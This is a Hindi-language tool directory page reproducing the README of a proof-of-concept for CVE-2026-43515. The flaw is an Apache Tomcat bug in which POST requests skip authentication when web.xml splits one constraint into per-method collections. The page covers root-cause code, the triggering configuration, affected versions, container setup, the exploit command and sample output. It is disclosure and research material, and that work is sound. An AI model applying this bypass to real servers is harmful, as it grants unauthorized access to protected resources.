Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/covepseng/cve-2026-43515-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षा
GitHubcovepseng/cve-2026-43515-poc

cve-2026-43515-poc

CVE-2026-43515 (Apache Tomcat बाधा उल्लंघन) के लिए शोषण-क्षमता PoC.

रिपॉजिटरी देखें
12 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-43515 — Apache Tomcat सुरक्षा बाधा बाईपास

शोषणीयता निर्णय: शोषणीय की पुष्टि हुई। एक विभाजित <web-resource-collection> कॉन्फ़िगरेशन द्वारा संरक्षित संसाधन के लिए POST अनुरोध प्रमाणीकरण को पूरी तरह से बायपास करता है। आवश्यक web.xml आकार मानक परिनियोजन में असामान्य है — विवरण के लिए विश्लेषण देखें।


विषय सूची

  • अवलोकन
  • प्रभावित संस्करण
  • मूल कारण
  • विश्लेषण
  • रिपॉजिटरी संरचना
  • आवश्यकताएँ
  • उपयोग
  • अपेक्षित आउटपुट
  • संदर्भ
  • अस्वीकरण

अवलोकन

CVE-2026-43515 Apache Tomcat के सुरक्षा बाधा मूल्यांकन तर्क में एक भेद्यता है। जब एक एकल <security-constraint> कई <web-resource-collection> ब्लॉकों को परिभाषित करता है जो समान URL एक्सटेंशन पैटर्न (उदाहरण के लिए ) साझा करते हैं लेकिन प्रत्येक एक अलग HTTP विधि घोषित करता है, तो Tomcat केवल मिलान संग्रह में घोषित HTTP विधि के लिए बाधा लागू करता है। बाद के सभी संग्रह चुपचाप अनदेखा कर दिए जाते हैं।

*.html
पहले

प्रशासक का इरादा:

root@kitploit:~
<security-constraint>
  <web-resource-collection>
    <url-pattern>*.html</url-pattern>
    <http-method>GET</http-method>   <!-- collection[0] -->
  </web-resource-collection>
  <web-resource-collection>
    <url-pattern>*.html</url-pattern>
    <http-method>POST</http-method>  <!-- collection[1] — silently dropped -->
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>

पैच-पूर्व Tomcat वास्तव में क्या लागू करता है:

  • GET *.html → 401 — बाधा लागू ✓
  • POST *.html → 200 — बाधा चुपचाप हटा दी गई ✗

प्रभावित संस्करण

प्रभावित सीमामें सुधारा गया
7.0.0 – 7.0.1097.0.110
8.5.0 – 8.5.1008.5.101
9.0.0.M1 – 9.0.1179.0.118
10.1.0.M1 – 10.1.5410.1.55
11.0.0.M1 – 11.0.2111.0.22

मूल कारण

बग org.apache.catalina.realm.RealmBase में findSecurityConstraints(Request, Context) में स्थित है। matched फ़्लैग और pos इंडेक्स प्रति-संग्रह लूप के बाहर घोषित किए गए थे:

root@kitploit:~
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
    // pattern matching sets matched = true and pos = j
    // on the FIRST matching collection ...
}

if (matched) {
    if (collection[pos].findMethod(method)) {  // pos frozen to 0
        results.add(constraints[i]);
    }
}

एक बार जब collection[0] ने एक्सटेंशन पैटर्न *.html से मिलान किया, तो pos 0 पर जम गया। इसलिए findMethod("POST") कॉल collection[0] (जो केवल GET घोषित करता है) के विरुद्ध चला और false लौटाया। POST अनुरोध के लिए results में कोई बाधा नहीं जोड़ी गई, और AuthenticatorBase ने निष्कर्ष निकाला कि अनुरोध किसी भी बाधा के अधीन नहीं है।

फिक्स (कमिट 276087d) matched को लूप के अंदर ले जाता है और collection[pos] को collection[j] से बदल देता है, ताकि प्रत्येक संग्रह का स्वतंत्र रूप से मूल्यांकन किया जा सके:

root@kitploit:~
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
    boolean matched = false;  // ← moved inside the loop
    // pattern matching ...
    if (matched) {
        found = true;
        if (collection[j].findMethod(method)) {  // ← j, not pos
            if (results == null) {
                results = new ArrayList<>();
            }
            results.add(constraints[i]);
        }
    }
}

विश्लेषण

बाईपास की पुष्टि हो चुकी है और यह पुनरुत्पादनीय है। Tomcat का वर्बोज़ लॉग तंत्र को स्पष्ट बनाता है:

root@kitploit:~
// GET — constraint correctly applied
AuthenticatorBase.invoke  Calling authenticate()
AuthenticatorBase.invoke  Failed authenticate() test  → 401

// POST — constraint silently dropped
AuthenticatorBase.invoke  Not subject to any constraint  → 200

कॉन्फ़िगरेशन आकार मायने रखता है

यह भेद्यता केवल एक विशिष्ट web.xml पैटर्न के तहत ट्रिगर होती है: एक एकल <security-constraint> जिसमें समान एक्सटेंशन पैटर्न साझा करने वाले लेकिन अलग-अलग HTTP विधियाँ घोषित करने वाले कई <web-resource-collection> ब्लॉक हों।

यह कॉन्फ़िगरेशन सर्वलेट विनिर्देश के अनुसार मान्य है लेकिन व्यवहार में असामान्य है। अधिकांश परिनियोजन या तो:

  • <http-method> को पूरी तरह से छोड़ देते हैं (सभी विधियों की रक्षा करना), या
  • प्रति विधि अलग-अलग <security-constraint> ब्लॉक का उपयोग करते हैं

वे परिनियोजन जो एक्सटेंशन पैटर्न पर बारीक-बारीक प्रति-विधि पहुँच नियंत्रण लागू करने के लिए विभाजित-संग्रह पैटर्न का उपयोग करते हैं, उजागर होते हैं।


रिपॉजिटरी संरचना

root@kitploit:~
cve-2026-43515-poc/
├── Dockerfile                   # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml             # One valid user: validuser:s3cret! / role: admin
├── web.xml                      # Triggering config: split web-resource-collection
├── logging.properties           # FINE-level logging to observe constraint evaluation
└── exploit/
    ├── exploit.go               # PoC — Go

आवश्यकताएँ

उपकरणसंस्करणनोट्स
Podman≥ 4.0Docker भी काम करता है
Go≥ 1.22स्थानीय रूप से शोषण चलाने के लिए

कोई बाहरी Go निर्भरता नहीं।


उपयोग

1. कंटेनर बनाएँ और प्रारंभ करें

root@kitploit:~
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
  -p 8080:8080 \
  -v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
  tomcat-cve-2026-43515

कुछ सेकंड प्रतीक्षा करें, फिर सत्यापित करें:

root@kitploit:~
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401

2. शोषण चलाएँ

root@kitploit:~
cd exploit
go run exploit.go \
  -target   http://localhost:8080 \
  -path     /protected/secret.html \
  -username validuser \
  -password s3cret!

उपलब्ध फ़्लैग:

फ़्लैगडिफ़ॉल्टविवरण
-targethttp://localhost:8080Tomcat आधार URL
-path/protected/secret.htmlसंरक्षित संसाधन का पथ
-usernamevaliduserसैनिटी जांच के लिए मान्य उपयोगकर्ता नाम
-passwords3cret!सैनिटी जांच के लिए पासवर्ड

3. सफाई

root@kitploit:~
podman stop tomcat-vuln && podman rm tomcat-vuln

अपेक्षित आउटपुट

root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
 Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────

Probe 1 — GET without credentials
  Expected: 401 (constraint applied to collection[0])
[1] GET    (no credentials) → HTTP 401  ← ✓ constraint enforced as expected

Probe 2 — POST without credentials  ← the exploit probe
  Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST   (no credentials) → HTTP 200  ← ✗ BYPASS CONFIRMED — constraint not enforced for POST

Probe 3 — GET with valid credentials (sanity check)
  Expected: 200 (authenticated access granted)
[3] GET    (with credentials) → HTTP 200  ← ✓ authenticated access granted

───────────────────────────────────────────────────
VERDICT: VULNERABLE

संदर्भ

संसाधनलिंक
फिक्स कमिट — 11.0.xapache/tomcat@276087d
पूर्ण विश्लेषण — ब्लॉग पोस्टreturn-zero.dev/posts/cve-2026-43515

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और स्थानीय शोषणीयता विश्लेषण के लिए है। सभी परीक्षण एक स्व-होस्ट किए गए कंटेनर वातावरण के विरुद्ध किए गए थे। इस PoC को उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।

टूल डाउनलोड करें